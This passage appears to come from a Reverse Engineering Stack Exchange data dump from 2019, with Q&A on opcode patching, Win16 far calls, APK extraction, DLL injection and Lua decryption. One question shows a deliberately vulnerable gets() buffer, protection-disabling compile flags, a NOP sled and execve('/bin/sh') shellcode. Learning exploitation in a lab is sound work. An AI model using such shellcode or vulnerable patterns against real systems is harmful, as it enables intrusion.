src=&quot;https://i.stack.imgur.com/dUyS0.jpg&quot; alt=&quot;r2_pd1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run &lt;code&gt;make&lt;/code&gt; and enjoy the new functionality.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3IoLp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3IoLp.jpg&quot; alt=&quot;r2_pd1_added&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-07-21T17:42:47.113" LastActivityDate="2019-07-21T17:42:47.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21732" PostTypeId="2" ParentId="6189" CreationDate="2019-07-21T22:03:44.940" Score="2" Body="&lt;p&gt;I have used &quot;File Monitor&quot; from SteelWorks (I am not associated with this company in any way) on a non-routed Android device and it works fine.&lt;/p&gt;&#xA;" OwnerUserId="29102" LastActivityDate="2019-07-21T22:03:44.940" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21733" PostTypeId="1" AcceptedAnswerId="21734" CreationDate="2019-07-21T22:05:43.047" Score="2" ViewCount="1097" Body="&lt;p&gt;I'm trying to change an instruction in assembly. Try with &lt;code&gt;test eax, eax&lt;/code&gt; to &lt;code&gt;test eax, 1&lt;/code&gt;. I try modify the opcodes. &#xA;For example opcode of &lt;code&gt;test eax, eax&lt;/code&gt;: &lt;code&gt;85c0&lt;/code&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lTkRF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lTkRF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to understand why is 85c0 with this table:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CbEmW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CbEmW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;85&lt;/code&gt; comes from 'test', ok. But &lt;code&gt;c0&lt;/code&gt; from &lt;code&gt;EB lb&lt;/code&gt;? I'm a little confused how to create that opcode and how to modify and get &lt;code&gt;test eax, 1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, appreciate any help!&lt;/p&gt;&#xA;" OwnerUserId="29103" LastEditorUserId="18014" LastEditDate="2019-07-22T06:56:53.370" LastActivityDate="2019-07-22T08:19:23.460" Title="Change instruction test eax, eax to text eax, 1" Tags="|disassembly|assembly|radare2|patch-reversing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21734" PostTypeId="2" ParentId="21733" CreationDate="2019-07-22T05:13:36.347" Score="5" Body="&lt;p&gt;The opcode you are interested in is &lt;code&gt;a9 01 00 00 00&lt;/code&gt; standing for &lt;code&gt;test eax, 1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to get the opcode of assembly instruction is just to &lt;strong&gt;compile&lt;/strong&gt;  it and &lt;strong&gt;disassemble&lt;/strong&gt; the result (for example using &lt;a href=&quot;https://www.nasm.us/&quot; rel=&quot;noreferrer&quot;&gt;nasm&lt;/a&gt; and then &lt;a href=&quot;https://linux.die.net/man/1/objdump&quot; rel=&quot;noreferrer&quot;&gt;objdump&lt;/a&gt; or simply &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; rel=&quot;noreferrer&quot;&gt;this site&lt;/a&gt;) - this way you don't have to remember anything about the opcodes which are sometimes weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you want to patch 2 bytes instruction and the opcode I gave is 5 bytes. As a workaround, you can do &lt;code&gt;test al, 1&lt;/code&gt; (&lt;code&gt;a8 01&lt;/code&gt;), which will do the same (will do &lt;code&gt;test&lt;/code&gt; only on the least significant byte of &lt;code&gt;eax&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-07-22T06:03:14.313" LastActivityDate="2019-07-22T06:03:14.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21737" PostTypeId="1" AcceptedAnswerId="21738" CreationDate="2019-07-22T12:32:04.963" Score="2" ViewCount="114" Body="&lt;p&gt;I'm attempting to patch an old 16-bit windows 3 new executable binary which is in protected mode. It's a simple setup executable. Additionally, I'm doing this disassembly on linux and I've used &lt;a href=&quot;https://github.com/zfigura/semblance&quot; rel=&quot;nofollow noreferrer&quot;&gt;Semblance&lt;/a&gt; to disassemble the binary, and am confronted with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1:0f91 &amp;lt;no name&amp;gt;:&#xA;  1:0f91:       33 ed                   xor     bp, bp&#xA;  1:0f93:       55                      push    bp&#xA;  1:0f94:       9a ff ff 00 00          call    KERNEL.91&#xA;  1:0f99:       0b c0                   or      ax, ax&#xA;  1:0f9b:       74 5b                   jz      0ff8&#xA;  1:0f9d:       8c 06 fe 02             mov     [02FEh], es&#xA;  1:0fa1:       81 c1 00 01             add     cx, 0100h&#xA;  1:0fa5:       72 51                   jb      0ff8&#xA;  1:0fa7:       89 0e d0 02             mov     [02D0h], cx&#xA;  1:0fab:       89 36 d2 02             mov     [02D2h], si&#xA;  1:0faf:       89 3e d4 02             mov     [02D4h], di&#xA;  1:0fb3:       89 1e d6 02             mov     [02D6h], bx&#xA;  1:0fb7:       8c 06 d8 02             mov     [02D8h], es&#xA;  1:0fbb:       89 16 da 02             mov     [02DAh], dx&#xA;  1:0fbf:       e8 3c 00                call    0ffe&#xA;  1:0fc2:       e8 f9 01                call    11be&#xA;  1:0fc5:       e8 84 03                call    134c&#xA;  1:0fc8:       33 c0                   xor     ax, ax&#xA;  1:0fca:       50                      push    ax&#xA;  1:0fcb:       9a ff ff 00 00          call    KERNEL.30&#xA;  1:0fd0:       ff 36 d4 02             push    word [02D4h]&#xA;  1:0fd4:       9a ff ff 00 00          call    USER.5&#xA;  1:0fd9:       0b c0                   or      ax, ax&#xA;  1:0fdb:       74 1b                   jz      0ff8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are several call instructions and I've verified that the non-far call addresses are all there in the file. If you notice however, there are 3 far-calls here, but all have the same ptr16:16 argument! I'll reproduce them here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  1:0f94:       9a ff ff 00 00          call    KERNEL.91&#xA;  1:0fcb:       9a ff ff 00 00          call    KERNEL.30&#xA;  1:0fd4:       9a ff ff 00 00          call    USER.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;9a is the opcode for a far call, but they all have the same argument! Yet, Semblance has determined not only which system modules its calling into, but possibly which function, but I haven't figured out the significance of the number yet. I should point out, that KERNEL and USER are both modules present in the exe's module reference table. All far calls in the binary have been linked to one of those modules in the reference table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, How is semblance doing this? All the calls seem identical. I'd just like to figure out what functions are being called, and I can begin to figure out how to patch around the error I'm facing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is something that's impossible to do from linux, fine, but I'd like to try it this way first. I'm a beginner with assembly and reverse engineering so I'm viewing this as a learning opportunity so learning the sorts of details necessary to resolve these far calls might be useful.&lt;/p&gt;&#xA;" OwnerUserId="29109" LastActivityDate="2019-07-22T12:51:43.000" Title="How to determine target of far call in Windows 3 16-bit protected mode binary" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21738" PostTypeId="2" ParentId="21737" CreationDate="2019-07-22T12:51:43.000" Score="2" Body="&lt;p&gt;Since the external modules may be loaded at an address not known until runtime, a specific address can't be used, so the information about external calls is not encoded in the instruction themselves (the bytes used are just placeholders)  but in the separate section of the New Executable (NE) called  &lt;em&gt;Module-reference table&lt;/em&gt; combined with the &lt;em&gt;relocation fixup data&lt;/em&gt; which is part of the &lt;em&gt;Per-segment data&lt;/em&gt;. For more info see &lt;a href=&quot;http://benoit.papillault.free.fr/c/disc2/exefmt.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;the reference&lt;/a&gt; and/or look up how Semblance resolves this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, the number after the module name is the &lt;em&gt;ordinal&lt;/em&gt; of the function used from that module; the ordinals for Win16 were fixed and you can look up which ordinal maps to which function for example in WINE: &lt;a href=&quot;https://source.winehq.org/source/dlls/user.exe16/user.exe16.spec&quot; rel=&quot;nofollow noreferrer&quot;&gt;USER&lt;/a&gt;, &lt;a href=&quot;https://source.winehq.org/source/dlls/krnl386.exe16/krnl386.exe16.spec&quot; rel=&quot;nofollow noreferrer&quot;&gt;KERNEL&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-22T12:51:43.000" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21739" PostTypeId="2" ParentId="21722" CreationDate="2019-07-22T16:33:33.563" Score="1" Body="&lt;p&gt;Do these extra bytes appear at regular intervals? If so, they could be the spare or OOB(out of band) bytes which are present in most NAND chips for error checking or housekeeping (bad block management etc.) in most cases you can discard them and analyze just the “useful” data. See &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/15099/60&quot;&gt;my other answer&lt;/a&gt; for some background. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-22T16:33:33.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21741" PostTypeId="2" ParentId="21730" CreationDate="2019-07-22T16:58:57.557" Score="1" Body="&lt;p&gt;IDA needs to be aware of the binary format to accurately map things. Try and collect more information about the binary ( 16/32/64 bit, OS of device, file-format, alignment requirements , etc). You may have to rebase a few things and then have IDA re-analyze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't used Bochs, does it emulate user-mode binaries for different platforms? Also, it is strange that an embedded device is using x86. That doesn't occur often. Do you know that it is x86 for certain? &lt;/p&gt;&#xA;" OwnerUserId="9826" LastActivityDate="2019-07-22T16:58:57.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21742" PostTypeId="2" ParentId="21730" CreationDate="2019-07-22T20:09:37.700" Score="2" Body="&lt;p&gt;Default IDA setting for Bochs is “&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1331.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDB mode&lt;/a&gt;” for emulating independent code snippets (32-bit or 64-bit). For emulating 16-bit code you need to use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1330.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Disk Image mode&lt;/a&gt;, even if you don’t really have a disk image. By default Bochs uses its own BIOS ROM, but by making a custom &lt;a href=&quot;https://www.systutorials.com/docs/linux/man/5-bochsrc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;.bochsrc file&lt;/a&gt; with a &lt;code&gt;romimage&lt;/code&gt; statement pointing to your ROM you can force it to emulate that one instead. Just specify that file in Debugger -&gt; Process Options -&gt; Application and enable “Stop on debugging start” in Debugging options so that you can start debugging from the reset vector. &#xA;One possible problem is that Bochs only maps 128K of the ROM (segments E000 and F000). The segment C000 is used to map the Video BIOS OPTION ROM. So what you can do is to cut out the area corresponding to that region and map it via the &lt;code&gt;vgaromimage&lt;/code&gt; statement. Possibly you can also map the rest of the file by using the &lt;code&gt;optromimage1&lt;/code&gt; statement and a matching address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in general the Bochs emulated machine only works well with its own BIOS and you will likely run into all kinds of issues when using it with another ROM. QEMU or MAME with a customized machine definition could be another option, and QEMU can be connected to IDA via the built in GDB stub. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-22T20:09:37.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21743" PostTypeId="1" AcceptedAnswerId="21808" CreationDate="2019-07-22T22:27:55.167" Score="0" ViewCount="104" Body="&lt;p&gt;I'm having some trouble building an app that gets data from a database to keep a log of files added to a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most URLs are generated from a file ID and a time stamp, some of those URLs are missing in the database but they're quite easy to regenerate. There's another type of generated URL that includes a string that I can't figure out. I'd like to know if it is possible to generate them too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These URLs look quite like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mysite.com/files/a9780ed25285890789147440840/file.ext&#xA;http://www.mysite.com/files/a9789f9b5285890789147441956/file.ext&#xA;http://www.mysite.com/files/8b9b5d1f5285890789167885136/file.ext&#xA;http://www.mysite.com/files/a97906135285890789147442083/file.ext&#xA;http://www.mysite.com/files/a9790e735285890789147442272/file.ext&#xA;http://www.mysite.com/files/a9791a905285890789147442521/file.ext&#xA;http://www.mysite.com/files/8b9bedfd5285890789167886250/file.ext&#xA;http://www.mysite.com/files/a97aaf595285890789147445176/file.ext&#xA;http://www.mysite.com/files/a97ab7fc5285890789147445386/file.ext&#xA;http://www.mysite.com/files/8b9d17895285890789167888638/file.ext&#xA;http://www.mysite.com/files/a97ac03a5285890789147445564/file.ext&#xA;http://www.mysite.com/files/a97acd635285890789147445897/file.ext&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it looks like hexadecimal for the first 8 characters, the middle section looks very similar, but I can't recognize a pattern here. I would like to point out that the dates are stored as epoch numerals, though the easy links have readable dates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any kind of information that could help me start figuring out this pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29080" LastActivityDate="2019-08-30T10:00:40.047" Title="Need help identifying a -possibly- encrypted string" Tags="|encryption|deobfuscation|hexadecimal|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21745" PostTypeId="1" AcceptedAnswerId="26765" CreationDate="2019-07-22T23:37:52.467" Score="0" ViewCount="508" Body="&lt;p&gt;I was wondering what are some advanced AntiDebugging techniques that more advanced than the basic ones like &lt;strong&gt;IsDebuggerPresent&lt;/strong&gt; and &lt;strong&gt;CheckRemoteDebuggerPresent&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="16436" LastActivityDate="2021-01-13T21:52:02.837" Title="Advanced Anti-Debugging Techniques" Tags="|debuggers|anti-debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21747" PostTypeId="1" CreationDate="2019-07-23T16:05:13.383" Score="3" ViewCount="426" Body="&lt;p&gt;I would like to reverse engineer and ultimately patch an application on my Amazon Firestick. To doo this, I want to analyze the app executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe third-party apk's are stored in the &lt;code&gt;/data&lt;/code&gt; directory but this directory is not readable on an unrooted device. I've also considered dumping the process memory while the app is running, but I believe this would also require rooting the device. I would prefer to not root the device if possible but I understand that might be necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a way I can get the application binary without rooting the device?&lt;/p&gt;&#xA;" OwnerUserId="28279" OwnerDisplayName="genghiskhan" LastActivityDate="2019-12-21T20:01:25.147" Title="Firestick get application binary" Tags="|android|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21748" PostTypeId="2" ParentId="21693" CreationDate="2019-07-23T19:07:41.007" Score="1" Body="&lt;p&gt;After a few days of trial and error I figured out something called GhidraDev which is an add-on to eclipse, through it you can create your own Ghidra projects and use the API with ease. Instructions on how to install it into eclipse can be found in ghidra_9.0.4 -&gt; Extensions -&gt; Eclipse -&gt; GhidraDev -&gt; GhidraDev_README.html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghidra can be downloaded here: &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ghidra-sre.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28855" LastActivityDate="2019-07-23T19:07:41.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21749" PostTypeId="2" ParentId="21747" CreationDate="2019-07-23T19:18:44.427" Score="3" Body="&lt;p&gt;&lt;code&gt;adb shell pm list packages -f&lt;/code&gt; should list all of the installed packages, as well as the path to their apk. Find the apk you're interested in, then pull it with &lt;code&gt;adb pull &amp;lt;path&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; adb shell pm list packages -f&#xA;....&#xA;package:/data/app/com.google.android.dialer-nt9PJ8MFE293dEV61etgIA==/base.apk=com.google.android.dialer&#xA;....&#xA;&amp;gt; adb pull /data/app/com.google.android.dialer-nt9PJ8MFE293dEV61etgIA==/base.apk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8063" LastEditorUserId="8063" LastEditDate="2019-07-24T18:59:06.887" LastActivityDate="2019-07-24T18:59:06.887" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21751" PostTypeId="1" AcceptedAnswerId="21754" CreationDate="2019-07-23T20:56:35.463" Score="2" ViewCount="1477" Body="&lt;p&gt;There's a button which, when clicked, writes some data to the clipboard. &#xA;I'm trying to call the function this button executes using DLL Injection.&#xA;I managed to find the function in win32u.dll which accesses the clipboard, and I was able to set a breakpoint there which gets triggered. Obviously, I don't want to call this function directly, but the function that calls it (from the origin program). How do I figure this address out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't use the buttons handle since the button doesn't show up in any UI spy tools and as it is a part of a context menu, it disappears as soon as the focus is lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using x64dbg as a debugger, but if you know a solution in OllyDbg, that will be fine since I know how to use both.&lt;/p&gt;&#xA;" OwnerUserId="29092" LastActivityDate="2019-07-24T06:08:03.443" Title="Finding out what calls win32u.dll functions" Tags="|windows|ollydbg|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21752" PostTypeId="1" AcceptedAnswerId="21805" CreationDate="2019-07-23T22:54:14.863" Score="0" ViewCount="93" Body="&lt;p&gt;I'm trying to write a script that would help display the memory contents of the arguments passed within a function. For example, in the function below, the first argument starts at the EAX register. Printing the contents of EAX gives us the value of the first argument. How can we print all the following arguments?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;BOOLAPI FtpCommandA(&lt;/p&gt;&#xA;&lt;p&gt;HINTERNET hConnect,&lt;/p&gt;&#xA;&lt;p&gt;BOOL      fExpectResponse,&lt;/p&gt;&#xA;&lt;p&gt;DWORD     dwFlags,&lt;/p&gt;&#xA;&lt;p&gt;LPCSTR    lpszCommand,&lt;/p&gt;&#xA;&lt;p&gt;DWORD_PTR dwContext,&lt;/p&gt;&#xA;&lt;p&gt;HINTERNET *phFtpCommand&lt;/p&gt;&#xA;&lt;p&gt;);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="25001" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-07-30T21:45:49.457" Title="Predicting Memory locations of arguments within a function" Tags="|debugging|windbg|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21753" PostTypeId="2" ParentId="21747" CreationDate="2019-07-23T23:04:24.157" Score="2" Body="&lt;p&gt;I came across this forum thread that had the correct solution: &lt;a href=&quot;https://forum.xda-developers.com/fire-tv/help/extract-apk-t3674633&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.xda-developers.com/fire-tv/help/extract-apk-t3674633&lt;/a&gt;. The solution was to download ESFile Explorer and backup the app for which I was seeking the APK. I could then run &lt;code&gt;adb pull /storage/emulated/0/backups/app/&amp;lt;my app&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28279" LastActivityDate="2019-07-23T23:04:24.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21754" PostTypeId="2" ParentId="21751" CreationDate="2019-07-24T05:42:12.067" Score="1" Body="&lt;h1&gt;OllyDbg&lt;/h1&gt;&#xA;&lt;p&gt;You can do it at least in two different ways. The first involves &lt;em&gt;Call stack view&lt;/em&gt; (&lt;code&gt;View&lt;/code&gt;-&amp;gt;&lt;code&gt;Call stack&lt;/code&gt;) that you can use when the breakpoint you set in that function from &lt;code&gt;win32u.dll&lt;/code&gt; is triggered. The first one coming from your application's module will be the desired one.&lt;/p&gt;&#xA;&lt;p&gt;Second approach is more static and takes advantage of &lt;em&gt;Intermodular calls&lt;/em&gt;. Go to your application's module, right click -&amp;gt; &amp;quot;Search for&amp;quot; -&amp;gt; &amp;quot;All intermodular calls&amp;quot;. You will get all external functions that your program calls and the places where they are called from. So, just search for that API function and you will get all places that it is called from in that module.&lt;/p&gt;&#xA;&lt;p&gt;You can see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21360/call-stack-vs-intermodular-calls-in-ollydbg/21378#21378&quot;&gt;answer&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-07-24T06:08:03.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21757" PostTypeId="1" CreationDate="2019-07-24T13:52:33.520" Score="3" ViewCount="594" Body="&lt;p&gt;I have an address that is located in a dll loaded by my target process. I would like to call this address using dll injection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now my dll looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)&#xA;{&#xA;    switch (ul_reason_for_call)&#xA;    {&#xA;        case DLL_PROCESS_ATTACH:&#xA;        {&#xA;            MessageBox(NULL, L&quot;Injection Successful&quot;, L&quot;TEST:&quot;, MB_OK); &#xA;            //Here I'd like to call the address&#xA;&#xA;            break;&#xA;        }&#xA;        case DLL_THREAD_ATTACH:&#xA;        case DLL_THREAD_DETACH:&#xA;        case DLL_PROCESS_DETACH:&#xA;        break;&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I've learned online, there are some problems: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can't use the address that is shown in the debugger (x64dbg) because of some offset stuff I don't understand. &lt;/li&gt;&#xA;&lt;li&gt;The address is a different one every time I start the program.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm using Cheat Engine to inject the dll and x64dbg as a debugger.&#xA;Since I'm a beginner, a bit of code would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="29092" LastEditorUserId="27930" LastEditDate="2019-07-24T17:13:28.530" LastActivityDate="2019-12-21T19:02:15.303" Title="DLL Injection Call Address In Target" Tags="|c++|dll-injection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21758" PostTypeId="1" CreationDate="2019-07-24T14:39:06.993" Score="0" ViewCount="125" Body="&lt;p&gt;I want to do a buffer overflow exploit in the stack. For this i read in data via the &quot;gets&quot;-function. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void ExploitMe()&#xA;{&#xA;  char buffer[256];&#xA;  gets(buffer);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compile this file with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc test.c -o vuln -z execstack -fno-stack-protector&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to spawn a shell with my bufferoverflow. For this i implemented a nop-slide and put my opcodes to spawn this shell at the end of the nop-slide. After this, I override my return address to an address in my slide.&#xA; Here is my memory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x7fffffffde40: 0x90909090 0x90909090  0x90909090  0x90909090&#xA;0x7fffffffde50: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffde60: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffde70: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffde80: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffde90: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffdea0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffdeb0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffdec0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffded0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffdee0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffdef0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffdf00: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0x7fffffffdf10: 0x90909090  0x2fbb4890  0x6e69622f  0x4868732f&#xA;0x7fffffffdf20: 0x5308ebc1  0x50e78948  0xe6894857  0x050f3bb0&#xA;0x7fffffffdf30: 0x42424242  0x42424242  0x42424242  0x42424242&#xA;0x7fffffffdf40: 0x42424242  0x42424242  0xffffdea0  0x00007fff&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My return address is 0x00007fffffffdea0, which is an addresss in the middle of the nop-slide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I got the opcodes from the following assembler code: &lt;br&gt;&#xA;&lt;code&gt;0000000000000000 &amp;lt;__start&amp;gt;:&#xA;   0:   48 bb 2f 2f 62 69 6e    movabs rbx,0x68732f6e69622f2f&#xA;   7:   2f 73 68 &#xA;   a:   48 c1 eb 08             shr    rbx,0x8&#xA;   e:   53                      push   rbx&#xA;   f:   48 89 e7                mov    rdi,rsp&#xA;  12:   50                      push   rax&#xA;  13:   57                      push   rdi&#xA;  14:   48 89 e6                mov    rsi,rsp&#xA;  17:   b0 3b                   mov    al,0x3b&#xA;  19:   0f 05                   syscall&#xA;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;When i assemble, link and execute the assembler code, i get a shell as wanted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;When I step each instruction with gdb, a error occurs &lt;strong&gt;after&lt;/strong&gt; the execution of the code to spawn a shell, but no shell is spawned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I execute the vulnerable program with the input like seen above outside of gdb, i get a segmentation fault. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody an idea, why i can't spawn a shell inside or outside of gdb?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the following examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=8QzOC8HfOqU&quot; rel=&quot;nofollow noreferrer&quot;&gt;Liveoverflow: youtube&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=9q1VL8UU8h0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Arc Network Security: youtube&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Ubuntu 16.04 and X86-64.&lt;/p&gt;&#xA;" OwnerUserId="26231" LastActivityDate="2019-07-24T14:39:06.993" Title="Bufferoverflow Stack" Tags="|linux|buffer-overflow|stack|x86-64|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21759" PostTypeId="1" AcceptedAnswerId="21766" CreationDate="2019-07-24T14:44:00.620" Score="2" ViewCount="19619" Body="&lt;p&gt;I am trying to decrypt a lua file which has been encrypting using a key. Some background to the LUA file. Its from an android Game i decompiled the APK and found that all the lua files are encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Game is made in an engine called Coco2D which allows developers to encrypt their files using a key. After doing some research i found that you can use IDA to look into the Binaries of the SO File and Find the encryption key in a function called ApplicationDidFinishLaunching. I tried that but i'm not really sure what im looking for in that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Text from ApplicationDidFinish Function: &lt;a href=&quot;https://pastebin.com/9h69PADF&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/9h69PADF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Near the top of the function you can see these set of variables&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00404100 var_90          = -0x90    &#xA;.text:00404100 var_84          = -0x84&#xA;.text:00404100 var_80          = -0x80&#xA;.text:00404100 var_7C          = -0x7C&#xA;.text:00404100 var_74          = -0x74&#xA;.text:00404100 var_70          = -0x70&#xA;.text:00404100 var_6C          = -0x6C&#xA;.text:00404100 var_68          = -0x68&#xA;.text:00404100 var_64          = -0x64&#xA;.text:00404100 var_60          = -0x60&#xA;.text:00404100 var_5C          = -0x5C&#xA;.text:00404100 var_3C          = -0x3C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im not 